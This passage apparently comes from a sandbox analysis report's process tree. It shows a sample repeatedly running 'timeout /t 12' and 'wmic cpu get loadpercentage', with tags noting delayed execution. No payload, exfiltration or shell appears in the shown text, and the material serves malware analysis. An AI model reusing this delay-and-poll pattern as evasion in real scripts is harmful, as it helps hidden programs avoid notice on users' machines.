C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2740
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2860
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2640
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4828
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1060
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3816
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1288
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1304
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2520
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:8
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:664
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3048
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4628
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3228
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1028
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1668
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1776
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:956
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1452
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:892
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4732
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4448
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3164
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2072
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4800
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2320
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3184
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4480
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2360
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2524
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4248
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1880
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1376
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1336
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4584
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2796
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5068
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3496
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1044
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2592
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4272
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1384
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1536
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:872
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3776
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2512
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1836
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2724
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2740
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2916
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3516
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2640
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1068
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1136
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3004
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3692
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3956
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2612
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2528
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:768
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:664
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:656
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2344
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1668
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1776
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4808
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3144
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1388
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:244
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4484
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3712
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3340
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3872
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3084
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4672
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1428
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3944
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2384
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4988
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2024
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1204
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:252
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1724
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3736
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3780
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4272
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1536
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2144
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1620
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:780
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1332
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4956
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1836
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3200
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2740
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3700
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2640
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4828
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4388
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2016
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3692
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2496
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4128
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4124
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3160
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4628
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3708
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3580
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4024
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3584
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3372
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2560
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5060
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3712
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4208
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1592
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1596
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2012
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4972
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2596
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1392
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4724
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4600
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5084
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4608
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1020
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:32
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2592
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2144
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:780
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4236
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3776
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:72
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4392
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2652
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1332
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4840
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1520
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4888
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3112
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2292
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4684
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:444
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:992
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4068
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:8
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2704
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4708
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2344
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4372
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1328
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4808
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1256
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2604
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3564
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4612
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4620
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2716
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4588
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2380
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:548
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3184
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3944
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4232
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1200
-
-
-
